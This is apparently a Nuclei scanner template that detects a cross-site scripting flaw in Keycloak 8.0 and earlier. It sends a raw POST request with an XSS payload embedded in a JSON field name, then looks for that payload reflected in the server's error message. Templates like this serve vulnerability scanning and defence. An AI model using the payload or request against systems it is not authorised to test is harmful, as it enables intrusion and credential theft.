id: keycloak-xss

info:
  name: Keycloak <= 8.0 - Cross-Site Scripting
  author: incogbyte
  severity: medium
  description: Keycloak 8.0 and prior contains a cross-site scripting vulnerability. An attacker can execute arbitrary script and thus steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://cure53.de/pentest-report_keycloak.pdf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  tags: keycloak,xss

requests:
  - raw:
      - |
        POST /auth/realms/master/clients-registrations/openid-connect HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"<img onerror=confirm(1337) src/>":1}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 400

      - type: word
        words:
          - 'Unrecognized field "<img onerror=confirm(1337) src/>"'

# Enhanced by mp on 2022/09/23